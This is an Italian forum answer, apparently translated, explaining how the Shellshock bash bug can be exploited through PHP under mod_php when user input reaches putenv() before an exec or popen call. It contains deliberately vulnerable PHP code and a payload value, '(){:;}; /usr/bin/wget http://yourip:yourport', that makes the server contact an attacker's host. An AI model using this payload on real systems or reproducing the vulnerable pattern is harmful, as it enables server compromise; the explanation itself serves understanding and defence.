Dai miei test sembra possibile sfruttare tramite PHP usando mod_php se alcune condizioni sono presenti.
- / bin / sh farebbe un collegamento simbolico a / bin / bash.
- L'app PHP imposta una variabile d'ambiente da una variabile HTTP controllata dall'utente tramite putenv ().
- Da qualche parte nello script PHP, c'è una successiva chiamata a una funzione exec del comando che caricherà quindi quella variabile env (exec (), passthru (), system (), popen (), ecc) dal momento che è in esecuzione in un istanza di shell bash. Questa funzione di chiamata di sistema / comando exec non deve necessariamente essere correlata all'impostazione della variabile di ambiente, a patto che succeda dopo.
Ad esempio, ecco la forma generalizzata di un codice che ho visto in precedenza oggi che imposta una variabile di ambiente LANGUAGE basata su un parametro GET non approvato. Il richiamo popen che ho aggiunto al fondo sarebbe il grilletto.
function getLang() {
if (isset($_GET["lang"]) && !empty($_GET["lang"])) {
$lang = $_GET["lang"];
}
return $lang;
}
$language = getLang();
putenv("LANGUAGE=$language");
/** A bunch of irrelevant code **/
$file = popen("/bin/ls", "r");
/** or $result = exec("ls"); or $result = passthru("ls"); etc **/
In questo caso l'applicazione imposta una variabile di ambiente utilizzando un parametro GET controllato dall'utente, quindi un valore per lang come (){:;}; /usr/bin/wget http://yourip:yourport
dovrebbe tentare un wget su un server / porta di tua scelta. Ho visto un codice simile che imposta le variabili ENV in base ai valori dei cookie e anche $language=$=COOKIE["lang"]
, quindi interferire con il valore di tale intestazione potrebbe anche attivare il vuln.
Ovviamente è davvero una cattiva pratica impostare qualsiasi variabile in base a dati utente non attendibili. In questo caso, è la chiamata a popen (che viene eseguita in Bash grazie al collegamento simbolico) che alla fine eseguirà il payload. Ho provato questo in un ambiente Debian dopo aver impostato il link simbolico e il payload eseguito correttamente. In linea con quanto detto da hspaans, non si è in grado di influenzare l'impostazione di variabili di ambiente arbitrarie con le chiamate a system () o exec (), quindi il successo nello sfruttamento di qualcosa di simile dipende completamente dal design dell'applicazione e dalla ambiente in cui viene eseguito.
Ecco alcune ulteriori informazioni sulla vulnerabilità PHP non CGI: link